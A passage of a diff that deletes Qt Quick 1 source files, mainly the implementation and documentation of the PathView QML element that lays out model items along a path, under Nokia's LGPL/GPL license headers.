origpercent(other.origpercent), values(other.values) {} - AttributePoint &operator=(const AttributePoint &other) { - percent = other.percent; scale = other.scale; origpercent = other.origpercent; values = other.values; return *this; - } - qreal percent; //massaged percent along the painter path - qreal scale; - qreal origpercent; //'real' percent along the painter path - QHash values; - }; - - void interpolate(int idx, const QString &name, qreal value); - void endpoint(const QString &name); - void createPointCache() const; - -private: - Q_DISABLE_COPY(QDeclarative1Path) - Q_DECLARE_PRIVATE(QDeclarative1Path) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1PathElement) -QML_DECLARE_TYPE(QDeclarative1PathAttribute) -QML_DECLARE_TYPE(QDeclarative1Curve) -QML_DECLARE_TYPE(QDeclarative1PathLine) -QML_DECLARE_TYPE(QDeclarative1PathQuad) -QML_DECLARE_TYPE(QDeclarative1PathCubic) -QML_DECLARE_TYPE(QDeclarative1PathPercent) -QML_DECLARE_TYPE(QDeclarative1Path) - -QT_END_HEADER - -#endif // QDECLARATIVEPATH_H diff --git a/src/qtquick1/graphicsitems/qdeclarativepath_p_p.h b/src/qtquick1/graphicsitems/qdeclarativepath_p_p.h deleted file mode 100644 index 2761b3ea05..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativepath_p_p.h +++ /dev/null @@ -1,83 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEPATH_P_H -#define QDECLARATIVEPATH_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "private/qdeclarativepath_p.h" - -#include - -#include - -QT_BEGIN_NAMESPACE - -class QDeclarative1PathPrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1Path) - -public: - QDeclarative1PathPrivate() : startX(0), startY(0), closed(false), componentComplete(true) { } - - QPainterPath _path; - QList _pathElements; - mutable QVector _pointCache; - QList _attributePoints; - QStringList _attributes; - int startX; - int startY; - bool closed; - bool componentComplete; -}; - -QT_END_NAMESPACE -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativepathview.cpp b/src/qtquick1/graphicsitems/qdeclarativepathview.cpp deleted file mode 100644 index 2ee65728ff..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativepathview.cpp +++ /dev/null @@ -1,1750 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativepathview_p.h" -#include "QtQuick1/private/qdeclarativepathview_p_p.h" - -#include -#include -#include -#include -#include - -#include -#include - -QT_BEGIN_NAMESPACE - - - -inline qreal qmlMod(qreal x, qreal y) -{ -#ifdef QT_USE_MATH_H_FLOATS - if(sizeof(qreal) == sizeof(float)) - return fmodf(float(x), float(y)); - else -#endif - return fmod(x, y); -} - -static QDeclarative1OpenMetaObjectType *qPathViewAttachedType = 0; - -QDeclarative1PathViewAttached::QDeclarative1PathViewAttached(QObject *parent) -: QObject(parent), m_percent(-1), m_view(0), m_onPath(false), m_isCurrent(false) -{ - if (qPathViewAttachedType) { - m_metaobject = new QDeclarative1OpenMetaObject(this, qPathViewAttachedType); - m_metaobject->setCached(true); - } else { - m_metaobject = new QDeclarative1OpenMetaObject(this); - } -} - -QDeclarative1PathViewAttached::~QDeclarative1PathViewAttached() -{ -} - -QVariant QDeclarative1PathViewAttached::value(const QByteArray &name) const -{ - return m_metaobject->value(name); -} -void QDeclarative1PathViewAttached::setValue(const QByteArray &name, const QVariant &val) -{ - m_metaobject->setValue(name, val); -} - - -void QDeclarative1PathViewPrivate::init() -{ - Q_Q(QDeclarative1PathView); - offset = 0; - q->setAcceptedMouseButtons(Qt::LeftButton); - q->setFlag(QGraphicsItem::ItemIsFocusScope); - q->setFiltersChildEvents(true); - q->connect(&tl, SIGNAL(updated()), q, SLOT(ticked())); - lastPosTime.invalidate(); - static int timelineCompletedIdx = -1; - static int movementEndingIdx = -1; - if (timelineCompletedIdx == -1) { - timelineCompletedIdx = QDeclarative1TimeLine::staticMetaObject.indexOfSignal("completed()"); - movementEndingIdx = QDeclarative1PathView::staticMetaObject.indexOfSlot("movementEnding()"); - } - QMetaObject::connect(&tl, timelineCompletedIdx, - q, movementEndingIdx, Qt::DirectConnection); -} - -QDeclarativeItem *QDeclarative1PathViewPrivate::getItem(int modelIndex) -{ - Q_Q(QDeclarative1PathView); - requestedIndex = modelIndex; - QDeclarativeItem *item = model->item(modelIndex, false); - if (item) { - if (!attType) { - // pre-create one metatype to share with all attached objects - attType = new QDeclarative1OpenMetaObjectType(&QDeclarative1PathViewAttached::staticMetaObject, qmlEngine(q)); - foreach(const QString &attr, path->attributes()) - attType->createProperty(attr.toUtf8()); - } - qPathViewAttachedType = attType; - QDeclarative1PathViewAttached *att = static_cast(qmlAttachedPropertiesObject(item)); - qPathViewAttachedType = 0; - if (att) { - att->m_view = q; - att->setOnPath(true); - } - item->setParentItem(q); - QDeclarativeItemPrivate *itemPrivate = static_cast(QGraphicsItemPrivate::get(item)); - itemPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry); - } - requestedIndex = -1; - return item; -} - -void QDeclarative1PathViewPrivate::releaseItem(QDeclarativeItem *item) -{ - if (!item || !model) - return; - QDeclarativeItemPrivate *itemPrivate = static_cast(QGraphicsItemPrivate::get(item)); - itemPrivate->removeItemChangeListener(this, QDeclarativeItemPrivate::Geometry); - if (model->release(item) == 0) { - // item was not destroyed, and we no longer reference it. - if (QDeclarative1PathViewAttached *att = attached(item)) - att->setOnPath(false); - } -} - -QDeclarative1PathViewAttached *QDeclarative1PathViewPrivate::attached(QDeclarativeItem *item) -{ - return static_cast(qmlAttachedPropertiesObject(item, false)); -} - -void QDeclarative1PathViewPrivate::clear() -{ - for (int i=0; i= 0 && index < modelCount) { - qreal start = 0.0; - if (haveHighlightRange && highlightRangeMode != QDeclarative1PathView::NoHighlightRange) - start = highlightRangeStart; - qreal globalPos = index + offset; - globalPos = qmlMod(globalPos, qreal(modelCount)) / modelCount; - if (pathItems != -1 && pathItems < modelCount) { - globalPos += start * mappedRange; - globalPos = qmlMod(globalPos, 1.0); - if (globalPos < mappedRange) - pos = globalPos / mappedRange; - } else { - pos = qmlMod(globalPos + start, 1.0); - } - } - - return pos; -} - -void QDeclarative1PathViewPrivate::createHighlight() -{ - Q_Q(QDeclarative1PathView); - if (!q->isComponentComplete()) - return; - - bool changed = false; - if (highlightItem) { - if (highlightItem->scene()) - highlightItem->scene()->removeItem(highlightItem); - highlightItem->deleteLater(); - highlightItem = 0; - changed = true; - } - - QDeclarativeItem *item = 0; - if (highlightComponent) { - QDeclarativeContext *highlightContext = new QDeclarativeContext(qmlContext(q)); - QObject *nobj = highlightComponent->create(highlightContext); - if (nobj) { - QDeclarative_setParent_noEvent(highlightContext, nobj); - item = qobject_cast(nobj); - if (!item) - delete nobj; - } else { - delete highlightContext; - } - } else { - item = new QDeclarativeItem; - } - if (item) { - QDeclarative_setParent_noEvent(item, q); - item->setParentItem(q); - highlightItem = item; - changed = true; - } - if (changed) - emit q->highlightItemChanged(); -} - -void QDeclarative1PathViewPrivate::updateHighlight() -{ - Q_Q(QDeclarative1PathView); - if (!q->isComponentComplete() || !isValid()) - return; - if (highlightItem) { - if (haveHighlightRange && highlightRangeMode == QDeclarative1PathView::StrictlyEnforceRange) { - updateItem(highlightItem, highlightRangeStart); - } else { - qreal target = currentIndex; - - offsetAdj = 0.0; - tl.reset(moveHighlight); - moveHighlight.setValue(highlightPosition); - - const int duration = highlightMoveDuration; - - if (target - highlightPosition > modelCount/2) { - highlightUp = false; - qreal distance = modelCount - target + highlightPosition; - tl.move(moveHighlight, 0.0, QEasingCurve(QEasingCurve::InQuad), int(duration * highlightPosition / distance)); - tl.set(moveHighlight, modelCount-0.01); - tl.move(moveHighlight, target, QEasingCurve(QEasingCurve::OutQuad), int(duration * (modelCount-target) / distance)); - } else if (target - highlightPosition <= -modelCount/2) { - highlightUp = true; - qreal distance = modelCount - highlightPosition + target; - tl.move(moveHighlight, modelCount-0.01, QEasingCurve(QEasingCurve::InQuad), int(duration * (modelCount-highlightPosition) / distance)); - tl.set(moveHighlight, 0.0); - tl.move(moveHighlight, target, QEasingCurve(QEasingCurve::OutQuad), int(duration * target / distance)); - } else { - highlightUp = highlightPosition - target < 0; - tl.move(moveHighlight, target, QEasingCurve(QEasingCurve::InOutQuad), duration); - } - } - } -} - -void QDeclarative1PathViewPrivate::setHighlightPosition(qreal pos) -{ - if (pos != highlightPosition) { - qreal start = 0.0; - qreal end = 1.0; - if (haveHighlightRange && highlightRangeMode != QDeclarative1PathView::NoHighlightRange) { - start = highlightRangeStart; - end = highlightRangeEnd; - } - - qreal range = qreal(modelCount); - // calc normalized position of highlight relative to offset - qreal relativeHighlight = qmlMod(pos + offset, range) / range; - - if (!highlightUp && relativeHighlight > end * mappedRange) { - qreal diff = 1.0 - relativeHighlight; - setOffset(offset + diff * range); - } else if (highlightUp && relativeHighlight >= (end - start) * mappedRange) { - qreal diff = relativeHighlight - (end - start) * mappedRange; - setOffset(offset - diff * range - 0.00001); - } - - highlightPosition = pos; - qreal pathPos = positionOfIndex(pos); - updateItem(highlightItem, pathPos); - if (QDeclarative1PathViewAttached *att = attached(highlightItem)) - att->setOnPath(pathPos != -1.0); - } -} - -void QDeclarative1PathView::pathUpdated() -{ - Q_D(QDeclarative1PathView); - QList::iterator it = d->items.begin(); - while (it != d->items.end()) { - QDeclarativeItem *item = *it; - if (QDeclarative1PathViewAttached *att = d->attached(item)) - att->m_percent = -1; - ++it; - } - refill(); -} - -void QDeclarative1PathViewPrivate::updateItem(QDeclarativeItem *item, qreal percent) -{ - if (QDeclarative1PathViewAttached *att = attached(item)) { - if (qFuzzyCompare(att->m_percent, percent)) - return; - att->m_percent = percent; - foreach(const QString &attr, path->attributes()) - att->setValue(attr.toUtf8(), path->attributeAt(attr, percent)); - } - QPointF pf = path->pointAt(percent); - item->setX(qRound(pf.x() - item->width()/2)); - item->setY(qRound(pf.y() - item->height()/2)); -} - -void QDeclarative1PathViewPrivate::regenerate() -{ - Q_Q(QDeclarative1PathView); - if (!q->isComponentComplete()) - return; - - clear(); - - if (!isValid()) - return; - - firstIndex = -1; - updateMappedRange(); - q->refill(); -} - -/*! - \qmlclass PathView QDeclarative1PathView - \inqmlmodule QtQuick 1 - \ingroup qml-view-elements - \since QtQuick 1.0 - \brief The PathView element lays out model-provided items on a path. - \inherits Item - - A PathView displays data from models created from built-in QML elements like ListModel - and XmlListModel, or custom model classes defined in C++ that inherit from - QAbstractListModel. - - The view has a \l model, which defines the data to be displayed, and - a \l delegate, which defines how the data should be displayed. - The \l delegate is instantiated for each item on the \l path. - The items may be flicked to move them along the path. - - For example, if there is a simple list model defined in a file \c ContactModel.qml like this: - - \snippet doc/src/snippets/qtquick1/pathview/ContactModel.qml 0 - - This data can be represented as a PathView, like this: - - \snippet doc/src/snippets/qtquick1/pathview/pathview.qml 0 - - \image pathview.gif - - (Note the above example uses PathAttribute to scale and modify the - opacity of the items as they rotate. This additional code can be seen in the - PathAttribute documentation.) - - PathView does not automatically handle keyboard navigation. This is because - the keys to use for navigation will depend upon the shape of the path. Navigation - can be added quite simply by setting \c focus to \c true and calling - \l decrementCurrentIndex() or \l incrementCurrentIndex(), for example to navigate - using the left and right arrow keys: - - \qml - PathView { - // ... - focus: true - Keys.onLeftPressed: decrementCurrentIndex() - Keys.onRightPressed: incrementCurrentIndex() - } - \endqml - - The path view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details). - - Delegates are instantiated as needed and may be destroyed at any time. - State should \e never be stored in a delegate. - - PathView attaches a number of properties to the root item of the delegate, for example - \c {PathView.isCurrentItem}. In the following example, the root delegate item can access - this attached property directly as \c PathView.isCurrentItem, while the child - \c nameText object must refer to this property as \c wrapper.PathView.isCurrentItem. - - \snippet doc/src/snippets/qtquick1/pathview/pathview.qml 1 - - \bold Note that views do not enable \e clip automatically. If the view - is not clipped by another item or the screen, it will be necessary - to set \e {clip: true} in order to have the out of view items clipped - nicely. - - \sa Path, {declarative/modelviews/pathview}{PathView example} -*/ - -QDeclarative1PathView::QDeclarative1PathView(QDeclarativeItem *parent) - : QDeclarativeItem(*(new QDeclarative1PathViewPrivate), parent) -{ - Q_D(QDeclarative1PathView); - d->init(); -} - -QDeclarative1PathView::~QDeclarative1PathView() -{ - Q_D(QDeclarative1PathView); - d->clear(); - if (d->attType) - d->attType->release(); - if (d->ownModel) - delete d->model; -} - -/*! - \qmlattachedproperty PathView PathView::view - This attached property holds the view that manages this delegate instance. - - It is attached to each instance of the delegate. -*/ - -/*! - \qmlattachedproperty bool PathView::onPath - This attached property holds whether the item is currently on the path. - - If a pathItemCount has been set, it is possible that some items may - be instantiated, but not considered to be currently on the path. - Usually, these items would be set invisible, for example: - - \qml - Component { - Rectangle { - visible: PathView.onPath - // ... - } - } - \endqml - - It is attached to each instance of the delegate. -*/ - -/*! - \qmlattachedproperty bool PathView::isCurrentItem - This attached property is true if this delegate is the current item; otherwise false. - - It is attached to each instance of the delegate. - - This property may be used to adjust the appearance of the current item. - - \snippet doc/src/snippets/qtquick1/pathview/pathview.qml 1 -*/ - -/*! - \qmlproperty model QtQuick1::PathView::model - This property holds the model providing data for the view. - - The model provides a set of data that is used to create the items for the view. - For large or dynamic datasets the model is usually provided by a C++ model object. - Models can also be created directly in QML, using the ListModel element. - - \sa {qmlmodels}{Data Models} -*/ -QVariant QDeclarative1PathView::model() const -{ - Q_D(const QDeclarative1PathView); - return d->modelVariant; -} - -void QDeclarative1PathView::setModel(const QVariant &model) -{ - Q_D(QDeclarative1PathView); - if (d->modelVariant == model) - return; - - if (d->model) { - disconnect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int))); - disconnect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int))); - disconnect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int))); - disconnect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset())); - disconnect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*))); - for (int i=0; iitems.count(); i++){ - QDeclarativeItem *p = d->items[i]; - d->model->release(p); - } - d->items.clear(); - } - - d->modelVariant = model; - QObject *object = qvariant_cast(model); - QDeclarative1VisualModel *vim = 0; - if (object && (vim = qobject_cast(object))) { - if (d->ownModel) { - delete d->model; - d->ownModel = false; - } - d->model = vim; - } else { - if (!d->ownModel) { - d->model = new QDeclarative1VisualDataModel(qmlContext(this), this); - d->ownModel = true; - } - if (QDeclarative1VisualDataModel *dataModel = qobject_cast(d->model)) - dataModel->setModel(model); - } - d->modelCount = 0; - if (d->model) { - connect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int))); - connect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int))); - connect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int))); - connect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset())); - connect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*))); - d->modelCount = d->model->count(); - if (d->model->count()) - d->offset = qmlMod(d->offset, qreal(d->model->count())); - if (d->offset < 0) - d->offset = d->model->count() + d->offset; -} - d->regenerate(); - d->fixOffset(); - emit countChanged(); - emit modelChanged(); -} - -/*! - \qmlproperty int QtQuick1::PathView::count - This property holds the number of items in the model. -*/ -int QDeclarative1PathView::count() const -{ - Q_D(const QDeclarative1PathView); - return d->model ? d->modelCount : 0; -} - -/*! - \qmlproperty Path QtQuick1::PathView::path - This property holds the path used to lay out the items. - For more information see the \l Path documentation. -*/ -QDeclarative1Path *QDeclarative1PathView::path() const -{ - Q_D(const QDeclarative1PathView); - return d->path; -} - -void QDeclarative1PathView::setPath(QDeclarative1Path *path) -{ - Q_D(QDeclarative1PathView); - if (d->path == path) - return; - if (d->path) - disconnect(d->path, SIGNAL(changed()), this, SLOT(pathUpdated())); - d->path = path; - connect(d->path, SIGNAL(changed()), this, SLOT(pathUpdated())); - if (d->isValid() && isComponentComplete()) { - d->clear(); - if (d->attType) { - d->attType->release(); - d->attType = 0; - } - d->regenerate(); - } - emit pathChanged(); -} - -/*! - \qmlproperty int QtQuick1::PathView::currentIndex - This property holds the index of the current item. -*/ -int QDeclarative1PathView::currentIndex() const -{ - Q_D(const QDeclarative1PathView); - return d->currentIndex; -} - -void QDeclarative1PathView::setCurrentIndex(int idx) -{ - Q_D(QDeclarative1PathView); - if (d->model && d->modelCount) - idx = qAbs(idx % d->modelCount); - if (d->model && idx != d->currentIndex) { - if (d->modelCount) { - int itemIndex = (d->currentIndex - d->firstIndex + d->modelCount) % d->modelCount; - if (itemIndex < d->items.count()) { - if (QDeclarativeItem *item = d->items.at(itemIndex)) { - if (QDeclarative1PathViewAttached *att = d->attached(item)) - att->setIsCurrentItem(false); - } - } - } - d->currentItem = 0; - d->moveReason = QDeclarative1PathViewPrivate::SetIndex; - d->currentIndex = idx; - if (d->modelCount) { - if (d->haveHighlightRange && d->highlightRangeMode == QDeclarative1PathView::StrictlyEnforceRange) - d->snapToCurrent(); - int itemIndex = (idx - d->firstIndex + d->modelCount) % d->modelCount; - if (itemIndex < d->items.count()) { - d->currentItem = d->items.at(itemIndex); - d->currentItem->setFocus(true); - if (QDeclarative1PathViewAttached *att = d->attached(d->currentItem)) - att->setIsCurrentItem(true); - } - d->currentItemOffset = d->positionOfIndex(d->currentIndex); - d->updateHighlight(); - } - emit currentIndexChanged(); - } -} - -/*! - \qmlmethod QtQuick1::PathView::incrementCurrentIndex() - - Increments the current index. - - \bold Note: methods should only be called after the Component has completed. -*/ -void QDeclarative1PathView::incrementCurrentIndex() -{ - Q_D(QDeclarative1PathView); - d->moveDirection = QDeclarative1PathViewPrivate::Positive; - setCurrentIndex(currentIndex()+1); -} - - -/*! - \qmlmethod QtQuick1::PathView::decrementCurrentIndex() - - Decrements the current index. - - \bold Note: methods should only be called after the Component has completed. -*/ -void QDeclarative1PathView::decrementCurrentIndex() -{ - Q_D(QDeclarative1PathView); - if (d->model && d->modelCount) { - int idx = currentIndex()-1; - if (idx < 0) - idx = d->modelCount - 1; - d->moveDirection = QDeclarative1PathViewPrivate::Negative; - setCurrentIndex(idx); - } -} - -/*! - \qmlproperty real QtQuick1::PathView::offset - - The offset specifies how far along the path the items are from their initial positions. - This is a real number that ranges from 0.0 to the count of items in the model. -*/ -qreal QDeclarative1PathView::offset() const -{ - Q_D(const QDeclarative1PathView); - return d->offset; -} - -void QDeclarative1PathView::setOffset(qreal offset) -{ - Q_D(QDeclarative1PathView); - d->setOffset(offset); - d->updateCurrent(); -} - -void QDeclarative1PathViewPrivate::setOffset(qreal o) -{ - Q_Q(QDeclarative1PathView); - if (offset != o) { - if (isValid() && q->isComponentComplete()) { - offset = qmlMod(o, qreal(modelCount)); - if (offset < 0) - offset += qreal(modelCount); - q->refill(); - } else { - offset = o; - } - emit q->offsetChanged(); - } -} - -void QDeclarative1PathViewPrivate::setAdjustedOffset(qreal o) -{ - setOffset(o+offsetAdj); -} - -/*! - \qmlproperty Component QtQuick1::PathView::highlight - This property holds the component to use as the highlight. - - An instance of the highlight component will be created for each view. - The geometry of the resultant component instance will be managed by the view - so as to stay with the current item. - - The below example demonstrates how to make a simple highlight. Note the use - of the \l{PathView::onPath}{PathView.onPath} attached property to ensure that - the highlight is hidden when flicked away from the path. - - \qml - Component { - Rectangle { - visible: PathView.onPath - // ... - } - } - \endqml - - \sa highlightItem, highlightRangeMode -*/ - -QDeclarativeComponent *QDeclarative1PathView::highlight() const -{ - Q_D(const QDeclarative1PathView); - return d->highlightComponent; -} - -void QDeclarative1PathView::setHighlight(QDeclarativeComponent *highlight) -{ - Q_D(QDeclarative1PathView); - if (highlight != d->highlightComponent) { - d->highlightComponent = highlight; - d->createHighlight(); - d->updateHighlight(); - emit highlightChanged(); - } -} - -/*! - \qmlproperty Item QtQuick1::PathView::highlightItem - - \c highlightItem holds the highlight item, which was created - from the \l highlight component. - - \sa highlight -*/ -QDeclarativeItem *QDeclarative1PathView::highlightItem() -{ - Q_D(const QDeclarative1PathView); - return d->highlightItem; -} -/*! - \qmlproperty real QtQuick1::PathView::preferredHighlightBegin - \qmlproperty real QtQuick1::PathView::preferredHighlightEnd - \qmlproperty enumeration QtQuick1::PathView::highlightRangeMode - - These properties set the preferred range of the highlight (current item) - within the view. The preferred values must be in the range 0.0-1.0. - - If highlightRangeMode is set to \e PathView.NoHighlightRange - - If highlightRangeMode is set to \e PathView.ApplyRange the view will - attempt to maintain the highlight within the range, however - the highlight can move outside of the range at the ends of the path - or due to a mouse interaction. - - If highlightRangeMode is set to \e PathView.StrictlyEnforceRange the highlight will never - move outside of the range. This means that the current item will change - if a keyboard or mouse action would cause the highlight to move - outside of the range. - - Note that this is the correct way to influence where the - current item ends up when the view moves. For example, if you want the - currently selected item to be in the middle of the path, then set the - highlight range to be 0.5,0.5 and highlightRangeMode to PathView.StrictlyEnforceRange. - Then, when the path scrolls, - the currently selected item will be the item at that position. This also applies to - when the currently selected item changes - it will scroll to within the preferred - highlight range. Furthermore, the behaviour of the current item index will occur - whether or not a highlight exists. - - The default value is \e PathView.StrictlyEnforceRange. - - Note that a valid range requires preferredHighlightEnd to be greater - than or equal to preferredHighlightBegin. -*/ -qreal QDeclarative1PathView::preferredHighlightBegin() const -{ - Q_D(const QDeclarative1PathView); - return d->highlightRangeStart; -} - -void QDeclarative1PathView::setPreferredHighlightBegin(qreal start) -{ - Q_D(QDeclarative1PathView); - if (d->highlightRangeStart == start || start < 0 || start > 1.0) - return; - d->highlightRangeStart = start; - d->haveHighlightRange = d->highlightRangeMode != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd; - refill(); - emit preferredHighlightBeginChanged(); -} - -qreal QDeclarative1PathView::preferredHighlightEnd() const -{ - Q_D(const QDeclarative1PathView); - return d->highlightRangeEnd; -} - -void QDeclarative1PathView::setPreferredHighlightEnd(qreal end) -{ - Q_D(QDeclarative1PathView); - if (d->highlightRangeEnd == end || end < 0 || end > 1.0) - return; - d->highlightRangeEnd = end; - d->haveHighlightRange = d->highlightRangeMode != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd; - refill(); - emit preferredHighlightEndChanged(); -} - -QDeclarative1PathView::HighlightRangeMode QDeclarative1PathView::highlightRangeMode() const -{ - Q_D(const QDeclarative1PathView); - return d->highlightRangeMode; -} - -void QDeclarative1PathView::setHighlightRangeMode(HighlightRangeMode mode) -{ - Q_D(QDeclarative1PathView); - if (d->highlightRangeMode == mode) - return; - d->highlightRangeMode = mode; - d->haveHighlightRange = d->highlightRangeMode != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd; - emit highlightRangeModeChanged(); -} - - -/*! - \qmlproperty int QtQuick1::PathView::highlightMoveDuration - This property holds the move animation duration of the highlight delegate. - - If the highlightRangeMode is StrictlyEnforceRange then this property - determines the speed that the items move along the path. - - The default value for the duration is 300ms. -*/ -int QDeclarative1PathView::highlightMoveDuration() const -{ - Q_D(const QDeclarative1PathView); - return d->highlightMoveDuration; -} - -void QDeclarative1PathView::setHighlightMoveDuration(int duration) -{ - Q_D(QDeclarative1PathView); - if (d->highlightMoveDuration == duration) - return; - d->highlightMoveDuration = duration; - emit highlightMoveDurationChanged(); -} - -/*! - \qmlproperty real QtQuick1::PathView::dragMargin - This property holds the maximum distance from the path that initiate mouse dragging. - - By default the path can only be dragged by clicking on an item. If - dragMargin is greater than zero, a drag can be initiated by clicking - within dragMargin pixels of the path. -*/ -qreal QDeclarative1PathView::dragMargin() const -{ - Q_D(const QDeclarative1PathView); - return d->dragMargin; -} - -void QDeclarative1PathView::setDragMargin(qreal dragMargin) -{ - Q_D(QDeclarative1PathView); - if (d->dragMargin == dragMargin) - return; - d->dragMargin = dragMargin; - emit dragMarginChanged(); -} - -/*! - \qmlproperty real QtQuick1::PathView::flickDeceleration - This property holds the rate at which a flick will decelerate. - - The default is 100. -*/ -qreal QDeclarative1PathView::flickDeceleration() const -{ - Q_D(const QDeclarative1PathView); - return d->deceleration; -} - -void QDeclarative1PathView::setFlickDeceleration(qreal dec) -{ - Q_D(QDeclarative1PathView); - if (d->deceleration == dec) - return; - d->deceleration = dec; - emit flickDecelerationChanged(); -} - -/*! - \qmlproperty bool QtQuick1::PathView::interactive - - A user cannot drag or flick a PathView that is not interactive. - - This property is useful for temporarily disabling flicking. This allows - special interaction with PathView's children. -*/ -bool QDeclarative1PathView::isInteractive() const -{ - Q_D(const QDeclarative1PathView); - return d->interactive; -} - -void QDeclarative1PathView::setInteractive(bool interactive) -{ - Q_D(QDeclarative1PathView); - if (interactive != d->interactive) { - d->interactive = interactive; - if (!interactive) - d->tl.clear(); - emit interactiveChanged(); - } -} - -/*! - \qmlproperty bool QtQuick1::PathView::moving - - This property holds whether the view is currently moving - due to the user either dragging or flicking the view. -*/ -bool QDeclarative1PathView::isMoving() const -{ - Q_D(const QDeclarative1PathView); - return d->moving; -} - -/*! - \qmlproperty bool QtQuick1::PathView::flicking - - This property holds whether the view is currently moving - due to the user flicking the view. -*/ -bool QDeclarative1PathView::isFlicking() const -{ - Q_D(const QDeclarative1PathView); - return d->flicking; -} - -/*! - \qmlsignal QtQuick1::PathView::onMovementStarted() - - This handler is called when the view begins moving due to user - interaction. -*/ - -/*! - \qmlsignal QtQuick1::PathView::onMovementEnded() - - This handler is called when the view stops moving due to user - interaction. If a flick was generated, this handler will - be triggered once the flick stops. If a flick was not - generated, the handler will be triggered when the - user stops dragging - i.e. a mouse or touch release. -*/ - -/*! - \qmlsignal QtQuick1::PathView::onFlickStarted() - - This handler is called when the view is flicked. A flick - starts from the point that the mouse or touch is released, - while still in motion. -*/ - -/*! - \qmlsignal QtQuick1::PathView::onFlickEnded() - - This handler is called when the view stops moving due to a flick. -*/ - -/*! - \qmlproperty Component QtQuick1::PathView::delegate - - The delegate provides a template defining each item instantiated by the view. - The index is exposed as an accessible \c index property. Properties of the - model are also available depending upon the type of \l {qmlmodels}{Data Model}. - - The number of elements in the delegate has a direct effect on the - flicking performance of the view when pathItemCount is specified. If at all possible, place functionality - that is not needed for the normal display of the delegate in a \l Loader which - can load additional elements when needed. - - Note that the PathView will layout the items based on the size of the root - item in the delegate. - - Here is an example delegate: - \snippet doc/src/snippets/qtquick1/pathview/pathview.qml 1 -*/ -QDeclarativeComponent *QDeclarative1PathView::delegate() const -{ - Q_D(const QDeclarative1PathView); - if (d->model) { - if (QDeclarative1VisualDataModel *dataModel = qobject_cast(d->model)) - return dataModel->delegate(); - } - - return 0; -} - -void QDeclarative1PathView::setDelegate(QDeclarativeComponent *delegate) -{ - Q_D(QDeclarative1PathView); - if (delegate == this->delegate()) - return; - if (!d->ownModel) { - d->model = new QDeclarative1VisualDataModel(qmlContext(this)); - d->ownModel = true; - } - if (QDeclarative1VisualDataModel *dataModel = qobject_cast(d->model)) { - int oldCount = dataModel->count(); - dataModel->setDelegate(delegate); - d->modelCount = dataModel->count(); - d->regenerate(); - if (oldCount != dataModel->count()) - emit countChanged(); - emit delegateChanged(); - } -} - -/*! - \qmlproperty int QtQuick1::PathView::pathItemCount - This property holds the number of items visible on the path at any one time. -*/ -int 